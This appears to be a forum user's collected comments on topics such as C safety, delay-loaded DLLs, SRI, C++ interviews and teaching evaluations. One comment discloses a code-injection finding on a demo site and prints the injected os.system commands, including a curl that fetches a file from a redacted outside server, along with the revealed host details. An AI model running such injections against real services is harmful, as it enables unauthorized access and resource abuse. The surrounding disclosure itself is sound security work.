xtrapolate

> "If even SQLite can have a RCE vulnerability, I'm convinced that it is not feasible for anybody to write safe C code."

This has much less to do with C, than it has to do with the fact that sqlite is a huge codebase.

Software can be vulnerable regardless of the programming languages used.

> "you give Plaid your username and password, and Plaid scrapers on their servers log into your online banking account"

So your username and password are just kept in some internal database somewhere? The scrapers probably decrypt the credentials in-memory.

Also - "scraping" data off of an undocumented API sounds risky. How can I guarantee a "scraper" won't accidentally mess something up for me?

The favicon is Apple's logo? https://www.romerogames.ie/favicon.ico

> "I'm partial to Iran because a multi-lateral treaty was signed. Iran stopped nuclear enrichment. In exchange, western countries pledged to provide economic relief and stop sanctions."

Iran stopped its nuclear enrichment program, so the sanctions were wavered. Iran continued working on a ballistic missile program (capable of carrying nuclear warheads), and continued destabilizing countries throughout the middle east (through proxy terrorism) - so the sanctions came back.

In other words - temporarily halting the nuclear enrichment program alone should not excuse Iran from being held accountable.

> "Did you read the entire article? The whole point was that "delay loading" a particular DLL prevents a static analysis in the compiler from inserting hooks to perform expensive operations."

I actually have read the entire article. Have you?

Your explanation has absolutely nothing to do with the performance gains observed. Moreover, in the context of delay-loaded DLLs, your explanation actually makes no sense whatsoever.

Delay loaded DLLs, a linker/loader optimization Microsoft has offered since the days of C++ 6.0 (1998), simply means most process invocations in OP's case won't actually end up loading said DLLs, reducing the amount of time spent in DLL_PROCESS_ATTACH/DLL_PROCESS_DETACH (and specifically during destruction, in the Kernel).

> "The first fix was to avoid calling CommandLineToArgvW by manually parsing the command-line."

> "The second fix was to delay load shell32.dll."

If your build pipeline is continuously spawning processes all-over, to the point "delay loading" makes a significant difference - it's time to start re-evaluating the entire pipeline and the practices employed.

> "SRI has been available for two years and it still isn't being used enough."

Two years is relatively fresh. There's probably a significant amount of customers with browsers that don't support this.

Can't we just implement a simple poor-man's SRI ourselves? Download the 3rd-party script, hash it, check hash, proceed to exec() if all is well? This should be supported by much older browsers.

> "When I was a college instructor I found that when I tried hard - putting a lot of thought into pedagogy, having weekly (open notes) quizzes, assigning challenging but fair homework - I got terrible evaluations, even though the average grade in my class was higher than other teachers who were teaching the same course. When I phoned it in, didn't really try, was very lax with the homework and often made the quizzes take-home, I got excellent reviews but the average grade in the class was worse."

It must've been a frustrating experience.

At the same time - you're making a very broad statement here based on a rather personal experience. You went from a certain regimen yielding certain results, to a different regimen yielding different results. There are way too many parameters here to draw conclusions.

> "isn’t it up to the universities to provide a majority their value in the form of education"

I'm not sure how this statement addresses my claims.

How do we measure/quantify the quality of education? I claim that the way students feel about the staff and the institution should be taken into account, rather than dismissed.

> "A teacher (also called a school teacher or, in some contexts, an educator) is a person who helps others to acquire knowledge, competences or values."

The target audience is a crucial part of the feedback loop. Removing the students from the equation sounds counter intuitive. What are the proposed alternative metrics? Who delivers the feedback? And what is the feedback based on, if not on the direct opinions of the people on the receiving end of the service?

> "gene is for CCR5, which currently doesn’t have known function"

It's in the article:

> "Even if editing worked perfectly, people without normal CCR5 genes face higher risks of getting certain other viruses, such as West Nile, and of dying from the flu. Since there are many ways to prevent HIV infection and it's very treatable if it occurs, those other medical risks are a concern, Musunuru said."

> "How does the url http://redacted/ work?"

I apologize for the confusion. I used an actual server there (ie. http://somename.com) but chose to redact the actual URL from this post.

> "What specifically are your concerns? What about what you've learned will create an exorbitant bill?"

Abusing the containers to send large amounts of outgoing traffic would do just that. Downloading files would do that too. How about sending a "while(true) { }" to hog some CPU? It doesn't take much to cause significant monetary damage.

Depending on their set-up, those containers could contain credentials or some other means to compromise the rest of the website. Perhaps it is possible to re-use the containers across different "sessions", serving multiple clients with malicious traffic. Those are plausible scenarios.

I'm not carrying out a full PT right now. Demonstrating the platform has been compromised is more than enough. Any other questions?

> "I’m confused as to how anyone would think this is alright to do."

Could be placeholders from development that ended up going live. I wouldn't jump to conclusion.

Getting an exorbitant bill from DigitalOcean after someone has abused your "containers" would not concern you then?

> "He needs to be running a client-side service, not running whatever someone enters on his machine"

I would say that for the most part, websites such as this don't actually need a real, full-blown %s-lang compiler/VM that actually executes real code on a backend server. It would be enough to tokenize and parse things on the client's side and validate ABNF via JS. This would reduce the costs involved with running such a website, and the attack surface. If you want to get fancy, you could host an in-browser Python VM - but that's an overkill for a website such as this. Also, they're trying to support a fair bit of languages here, not all of which have browser-targeted tooling that could compile and run the code.

Good job. However, I was able to run the following on your machine (on the publicly available demo page):

def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/")) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8"))

Results:

codewarrior 5a8eb7db8f0e 162.243.103.238 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms

162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they will be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.

SAP is not paying for the product here. SAP is paying for the long list of customers using and relying on Qualtrics today [1], many of whom are Fortune 500 and government agencies.

[1] https://www.qualtrics.com/uk/customers/

Do people actually give away their email address when stumbling across a mysterious non-descriptive landing-page that says nothing about who or what a company is? In other words - what's the point of having "we're in stealth mode" landing page in the first place? Might as-well point your domain at an ambiguous Tumblr blog, or a Facebook page. Thoughts?

This thread is yet another example of "you can't please all the people all of the time". This tool is a useful addition to the Linux toolbox, made freely available by Microsoft, in what would be yet another step towards embracing and supporting OSS - yet for many in this thread, that's just not good enough.

> It seems kind of nuts to say array indexing isn't just a fancier version of pointer arithmetic.

I agree.

It's almost as if things aren't really black or white, there's usually plenty of grey in-between. Things like use-cases, scenarios, trade-offs, intricacies. I find it awkward that a security shop would publish an article using that language - I would personally be embarrassed.

> "The other thing that you shouldn't do, even though C/C++ allows it, is pointer arithmetic. Again, it's one of those epiphany things C programmers remember from their early days. It's something they just couldn't grasp until one day they did, and then they fell in love with it. Except it's bad. The reason you struggled to grok it is because it's stupid and you shouldn't be using it. No other language has it, because it's bad."

Honestly, this is a pointless rant. "Do this, but don't do that (because that's stupid)".

> "No other language has it, because it's bad"

The reason you "don't have pointer arithmetic in other languages" is - it's been abstracted away from you, for your convenience, so that you can just concentrate on your business logic and not have to worry about the rest. You may not deal with pointer arithmetic, but the people developing your JVM/CPython/V8/Chakra sure do. Author is simply ranting about the possibility of abusing/misusing the mechanisms offered by C/C++.

> "Frankly on windows this is AFAIK a mostly-unheard-of technique. No one does mapping."

Unheared by you.

In a world consumed by Electron apps and Javascript, lots of people couldn't care any less about performant IPC, sharing data across processes, and multiprocessing in general.

> "So it has been almost a decade. How much longer before the whole move semantics addition to the language specification becomes relevant to you?"

I'm not debating the usefulness of move semantics. I'm debating the weight being placed on them in these so-called "C++ interview questions". Wouldn't it be better to discuss the actual problem, rather than a concrete solution we ended up having in C++11?

> "Unique_ptr is such a fundamental type that, if one claims to be a c++ programmer, one has to know it and understand how it works."

No.

Those utilities weren't standardized before C++11. People wrote their own implementations before that. People had to understand stack unwinding and scoping, memory, RAII, design patterns that relate to allocation/de-allocation of memory, ownership transfer.

Then came in the people that decided it'd be a great idea to start quizzing others about C++11 concretions.

You can "test the theory behind ownership semantics" without relying on the intricacies of a C++11 construct (however trivial).

> "Just xtrapolate from these numbers."

They could've simply involved the male population as-well, but for reasons unknown, chose not to.

> "we helped Callisto send a survey to 125 of the 384 female founders who have participated in YC"

Anyone aware of similar efforts to survey the male founders?

> "It just takes a SCHED_FIFO task with forced CPU affinity. Android does not make it easy to get one."

Are you aware of any non-RTOS that "makes it easy to get one"?

> "Speaking of this, you can have sub-millisecond latencies on Beagleboard."

I did not make myself clear, so I'm taking the blame here.

I'm mostly interested in the use case. If it's just capturing audio alone, this number makes sense, and no fancy hardware is necessary.

The moment we're introducing some-kind of processing, or even logging the stream to disc, buffering becomes necessary and latency is introduced. Assume audio stream read by a "user-mode" service, then redirected out through headphones - are we still talking sub-millisecond latencies?